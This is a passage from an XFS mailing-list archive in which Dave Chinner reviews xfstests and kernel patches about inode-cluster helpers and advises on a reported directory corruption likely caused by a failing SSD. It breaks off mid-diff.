xfstests: do not unmount tmpfs during remount. Message-ID: <20131211224012.GJ10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-6-git-send-email-jayr@google.com> <20131211074615.GE19248@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211074615.GE19248@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386801616 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143023 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 10, 2013 at 11:46:15PM -0800, Christoph Hellwig wrote: > On Tue, Dec 10, 2013 at 12:11:56PM -0800, Junho Ryu wrote: > > Several tests unmount then re-mount the scratch filesystem, to check > > that the content is unchanged; but unmounting a tmpfs is designed to > > lose its content, which causes such tests to fail unnecessarily. Add > > _scratch_remount(), which instead uses remount on a tmpfs to preserve > > its contents. Also add _test_remount() to do the same for the test > > device. > > All these tests don't make sense if you never unmount the filesystem. > Istead they should exit with _notrun for tmpfs. IOWs, adding tmpfs changes the definition of a "generic" test. i.e. instead of: _supported_fs generic these tests are now: _supported_fs xfs ext2 ext3 ext4 ext4dev btrfs gfs2 nfs udf reiserfs and by that definition should be in the tests/shared directory.... That's a bit of a pain, but I really don't like the idea of having "generic" tests that aren't actually generic by having to define exceptions for them... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Dec 11 16:42:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F3BD67F4E for ; Wed, 11 Dec 2013 16:42:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8C931AC00B for ; Wed, 11 Dec 2013 14:42:33 -0800 (PST) X-ASG-Debug-ID: 1386801751-04bdf013231c2b90001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id vheQNoA76eRyzH5z for ; Wed, 11 Dec 2013 14:42:31 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtAHAFLpqFJ5LHyk/2dsb2JhbABZgweDOrEchi+BHBd0giUBAQU6HCMQCAMOCgklDwUlAyETiAHCKBcWjnIHhDQEmBOSFIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 12 Dec 2013 09:12:31 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqsU9-0008Hj-7R; Thu, 12 Dec 2013 09:42:29 +1100 Date: Thu, 12 Dec 2013 09:42:29 +1100 From: Dave Chinner To: Christoph Hellwig Cc: Junho Ryu , hughd@google.com, tytso@mit.edu, branto@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH 06/10] xfstests: fix generic/225 to check fiemap support Message-ID: <20131211224229.GK10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 06/10] xfstests: fix generic/225 to check fiemap support References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-7-git-send-email-jayr@google.com> <20131211074657.GF19248@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211074657.GF19248@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386801751 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143023 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Tue, Dec 10, 2013 at 11:46:57PM -0800, Christoph Hellwig wrote: > On Tue, Dec 10, 2013 at 12:11:57PM -0800, Junho Ryu wrote: > > generic/225 runs fiemap. It would be nice to call > > _require_xfs_io_fiemap like other tests which use fiemap. > > It's not exactly correct as it doesn't require xfs_io. If you have some > spare cycles it would be good to factor out a _require_fiemap from it. I'd just rename if _require_fiemap, because we need both xfs_io and kernel support for it, and we need xfs_io support to check for kernel support.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Dec 11 16:50:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 408587F50 for ; Wed, 11 Dec 2013 16:50:19 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id CC16EAC00B for ; Wed, 11 Dec 2013 14:50:18 -0800 (PST) X-ASG-Debug-ID: 1386802216-04cb6c537d6b5e20001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id bm3dENRytA5AjCPB for ; Wed, 11 Dec 2013 14:50:16 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtAHANDrqFJ5LHyk/2dsb2JhbABZgweDOrEbhi+BHBd0giUBAQU6HCMQCAMOCgklDwUlAyETG4dmwioXFo5yB4Q0BJgTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 12 Dec 2013 09:20:16 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vqsbc-0008Il-Ab; Thu, 12 Dec 2013 09:50:12 +1100 Date: Thu, 12 Dec 2013 09:50:12 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com, Stanislav Kholmanskikh Subject: Re: [PATCH 00/12] run more generic tests on TEST_DIR Message-ID: <20131211225012.GL10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 00/12] run more generic tests on TEST_DIR References: <20131211073445.353655850@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211073445.353655850@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386802216 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143024 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Tue, Dec 10, 2013 at 11:34:45PM -0800, Christoph Hellwig wrote: > As Stanislav pointed out previously various tests worked fine on NFS > when it still defined a scratch dir that we abused for the test dir. > > This series makes various tests that don't require specific file system > sizes or parameters run on TEST_DIR instead of using the scratch devices. > > This also allow to remove various bits of boilerplat code as the TEST_DIR > is always available, and checked after each test. I'm not sure this is such a good idea. The test_dir is a fixed filesystem designed to persiste between test harness runs to allow testing on an aged filesystem. The scratch dev, OTOH, is used to give tests a known state before the test begins, and to enable different filesystem configurations to be tested easily. That is: $ ./check -g auto and $ MKFS_OPTIONS="-b size=512" ./check -g auto run the tests on a differently configured scratch device. I use this all the time to change the filesystem config I'm testing against. By moving all these tests to the TEST_DEV, these tests are no longer run on the device that is configured specifically the way I want it configured for the given test run. So, I think this is a step backwards in terms of being able to quickly iterate and cover different filesystem configurations, and as such I don't really like it as a solution. What other options do we have? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Dec 11 17:01:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6F53C7F4E for ; Wed, 11 Dec 2013 17:01:38 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3FD6D304067 for ; Wed, 11 Dec 2013 15:01:35 -0800 (PST) X-ASG-Debug-ID: 1386802893-04bdf013231c33a0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id f9FxXGvTr5Jek5gD for ; Wed, 11 Dec 2013 15:01:33 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Av0PACjuqFJ5LHyk/2dsb2JhbABZgwc4gwKhYwOPNYYvgRsXdIIlAQEEATocIwULCAMYCSUPBSUDIROHfAUOwh4XFo4hAQFPB4Q0BJgTgTGJG4dIgz0ogTU Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 12 Dec 2013 09:31:29 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqsmW-0008LK-F4; Thu, 12 Dec 2013 10:01:28 +1100 Date: Thu, 12 Dec 2013 10:01:28 +1100 From: Dave Chinner To: Dave Jones Cc: xfs@oss.sgi.com Subject: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN Message-ID: <20131211230128.GM10988@dastard> X-ASG-Orig-Subj: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN References: <20131211172725.GA4606@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211172725.GA4606@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386802893 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143024 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 11, 2013 at 12:27:25PM -0500, Dave Jones wrote: > Powered up my desktop this morning and noticed I couldn't cd into ~/Mail > dmesg didn't look good. "XFS: Internal error XFS_WANT_CORRUPTED_RETURN" > http://codemonkey.org.uk/junk/xfs-1.txt They came from xfs_dir3_block_verify() on read IO completion, which indicates that the corruption was on disk and in the directory structure. Yeah, definitely a verifier error: XFS (sda3): metadata I/O error: block 0x2e790 ("xfs_trans_read_buf_map") error 117 numblks 8 Are you running a CRC enabled filesystem? (i.e. mkfs.xfs -m crc=1) Is there any evidence that this verifier has fired in the past on write? If not, then it's a good chance that it's a media error causing this, because the same verifier runs when the metadata is written to ensure we are not writing bas stuff to disk. > I rebooted into single user mode, and ran xfs_repair on /dev/sda3 (/home). > It fixed up a bunch of stuff, but ended up eating ~/.procmailrc entirely > (no sign of it in lost & found), and a bunch of filenames got garbled > 'december' became 'decemcer' for eg. Looks like a couple kernel trees ended > up in lost & found. Single bit errors in directory names? That really does point towards media errors, not a filesystem error being the cause. > After rebooting back into multi-user mode, I looked in dmesg again to be sure > and this time sda2 was complaining.. > > http://codemonkey.org.uk/junk/xfs-2.txt Exaclty the same - directory blocks failing read verification. > Same drill, reboot, xfs_repair. Looks like a bunch of man pages ended up in lost & found. > > Thoughts ? Could sda be dying ? (It is a fairly old crappy ssd) I'd seriously be considering replacing the SSD as the first step. If you then see failures on a known good drive, we'll need to dig further. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Dec 11 17:14:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B3D827F4E for ; Wed, 11 Dec 2013 17:14:51 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 821C98F8035 for ; Wed, 11 Dec 2013 15:14:48 -0800 (PST) X-ASG-Debug-ID: 1386803686-04bdf013221c3880001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id yPeDOG9DecEUsFAM for ; Wed, 11 Dec 2013 15:14:46 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtAHAH/xqFJ5LHyk/2dsb2JhbABZgweDOrEbhi+BGhd0giUBAQUnExwjEAgDFQMJJQ8FJQMhE4gBwi8XFo5yB4Q0BJgTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 12 Dec 2013 09:44:13 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vqsyo-0008Mo-12; Thu, 12 Dec 2013 10:14:10 +1100 Date: Thu, 12 Dec 2013 10:14:10 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH 1/5] xfs: introduce xfs_ialloc_blks_per_cluster Message-ID: <20131211231409.GN10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/5] xfs: introduce xfs_ialloc_blks_per_cluster References: <52A86D11.1040504@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A86D11.1040504@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386803686 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143024 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 11, 2013 at 09:48:01PM +0800, Jeff Liu wrote: > From: Jie Liu > > Introduce a common routine xfs_ialloc_blks_per_cluster() to calculate > and return the number of blocks per inode cluster. > > Signed-off-by: Jie Liu > --- > fs/xfs/xfs_ialloc.h | 10 ++++++++++ > 1 file changed, 10 insertions(+) > > diff --git a/fs/xfs/xfs_ialloc.h b/fs/xfs/xfs_ialloc.h > index a8f76a5..f4bfd32 100644 > --- a/fs/xfs/xfs_ialloc.h > +++ b/fs/xfs/xfs_ialloc.h > @@ -37,6 +37,16 @@ struct xfs_btree_cur; > #define XFS_INODE_BIG_CLUSTER_SIZE 8192 > #define XFS_INODE_CLUSTER_SIZE(mp) (mp)->m_inode_cluster_size > > +/* Calculate and return the number of blocks per inode cluster */ > +static inline int > +xfs_ialloc_blks_per_cluster( > + struct xfs_mount *mp) > +{ > + if (mp->m_sb.sb_blocksize >= XFS_INODE_CLUSTER_SIZE(mp)) > + return 1; > + return XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_blocklog; > +} I'd avoid using the XFS_INODE_CLUSTER_SIZE() macro - it's just a useless wrapper around mp->m_inode_cluster_size. Hence if you are cleaning this code up, the first thing I'd do is remove the macro. /* Calculate and return the number of blocks per inode cluster */ static inline int xfs_ialloc_blks_per_cluster( struct xfs_mount *mp) { if (mp->m_sb.sb_blocksize >= mp->m_inode_cluster_size) return 1; return mp->m_inode_cluster_size >> mp->m_sb.sb_blocklog; } Is much less shouty, and just as easy to read ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Dec 11 17:27:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C18077F4E for ; Wed, 11 Dec 2013 17:27:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9C9828F8039 for ; Wed, 11 Dec 2013 15:27:46 -0800 (PST) X-ASG-Debug-ID: 1386804464-04cbb041666bdf80001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id fl9xx8szO9YMr95B for ; Wed, 11 Dec 2013 15:27:45 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtAHAAn0qFJ5LHyk/2dsb2JhbABZgweDOrEAhi+BGhd0giUBAQQBJxMcIwULCAMVAwklDwUlAyETh3wFwicXFo5yB4Q0BJgTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 12 Dec 2013 09:57:44 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqtBt-0008OP-Fd; Thu, 12 Dec 2013 10:27:41 +1100 Date: Thu, 12 Dec 2013 10:27:41 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH 2/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_bulkstat Message-ID: <20131211232741.GO10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_bulkstat References: <52A86D1E.6090507@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A86D1E.6090507@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386804464 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143024 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 11, 2013 at 09:48:14PM +0800, Jeff Liu wrote: > From: Jie Liu > > Use xfs_ialloc_blks_per_cluster() in xfs_bulkstat(), make the > related variables more meaningful and remove an unused variable > nimask from it. > > Signed-off-by: Jie Liu > --- > fs/xfs/xfs_itable.c | 20 ++++++++------------ > 1 file changed, 8 insertions(+), 12 deletions(-) > > diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c > index c237ad1..6671f5b 100644 > --- a/fs/xfs/xfs_itable.c > +++ b/fs/xfs/xfs_itable.c > @@ -209,9 +209,8 @@ xfs_bulkstat( > xfs_inobt_rec_incore_t *irbuf; /* start of irec buffer */ > xfs_inobt_rec_incore_t *irbufend; /* end of good irec buffer entries */ > xfs_ino_t lastino; /* last inode number returned */ > - int nbcluster; /* # of blocks in a cluster */ > - int nicluster; /* # of inodes in a cluster */ > - int nimask; /* mask for inode clusters */ > + int blks_per_cluster; /* # of blocks in a cluster */ > + int ninodes; /* # of inodes in a cluster */ inodes_per_cluster? > int nirbuf; /* size of irbuf */ > int rval; /* return value error code */ > int tmp; /* result value from btree calls */ > @@ -243,11 +242,8 @@ xfs_bulkstat( > *done = 0; > fmterror = 0; > ubufp = ubuffer; > - nicluster = mp->m_sb.sb_blocksize >= XFS_INODE_CLUSTER_SIZE(mp) ? > - mp->m_sb.sb_inopblock : > - (XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog); > - nimask = ~(nicluster - 1); > - nbcluster = nicluster >> mp->m_sb.sb_inopblog; > + blks_per_cluster = xfs_ialloc_blks_per_cluster(mp); Ok, now I see the helper name, perhaps it shoul dbe more like all the other conversion functions. "ialloc" means nothing in the context, and "blks" doesn't tell us the unit we are converting to - if could be basic blocks, it could be filesystem blocks. So, perhaps something like xfs_icluster_size_fsb()? Otherwise this patch looks ok. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Dec 11 17:30:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 063CD7F4E for ; Wed, 11 Dec 2013 17:30:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D8871304077 for ; Wed, 11 Dec 2013 15:30:01 -0800 (PST) X-ASG-Debug-ID: 1386804596-04cb6c537b6b6b50001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id fZ1OgxEP3y3jsioK for ; Wed, 11 Dec 2013 15:29:57 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtAHADX1qFJ5LHyk/2dsb2JhbABZgweDOrB9hi+BGhd0giUBAQU6HCMQCAMVAwklDwUlAyETiAHCKhcWjnIHhDQEmBOKTIdIgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 12 Dec 2013 09:59:43 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqtDq-0008Oa-Fn; Thu, 12 Dec 2013 10:29:42 +1100 Date: Thu, 12 Dec 2013 10:29:42 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH 3/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_ialloc_inode_init Message-ID: <20131211232942.GP10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_ialloc_inode_init References: <52A86D24.8030801@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A86D24.8030801@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386804596 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143024 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 11, 2013 at 09:48:20PM +0800, Jeff Liu wrote: > From: Jie Liu > > Use xfs_ialloc_blks_per_cluster() in xfs_ialloc_inode_init() > > Signed-off-by: Jie Liu looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Dec 11 17:31:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 17DFA7F4E for ; Wed, 11 Dec 2013 17:31:06 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0185F30407A for ; Wed, 11 Dec 2013 15:31:05 -0800 (PST) X-ASG-Debug-ID: 1386804663-04cbb041696be020001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Y0oKAVwyz4xB6isJ for ; Wed, 11 Dec 2013 15:31:04 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtAHADX1qFJ5LHyk/2dsb2JhbABZgweDOrB9hi+BGhd0giUBAQUnExwjEAgDFQMJJQ8FJQMhE4gBwioXFo5yB4Q0BJgTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 12 Dec 2013 10:01:03 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqtF7-0008Oi-PA; Thu, 12 Dec 2013 10:31:01 +1100 Date: Thu, 12 Dec 2013 10:31:01 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH 4/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_ifree_cluster Message-ID: <20131211233101.GQ10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_ifree_cluster References: <52A86D2B.50409@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A86D2B.50409@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386804663 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143024 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 11, 2013 at 09:48:27PM +0800, Jeff Liu wrote: > From: Jie Liu > > Use xfs_ialloc_blks_per_cluster() in xfs_ifree_cluster() > > Signed-off-by: Jie Liu > --- > fs/xfs/xfs_inode.c | 13 +++---------- > 1 file changed, 3 insertions(+), 10 deletions(-) > > diff --git 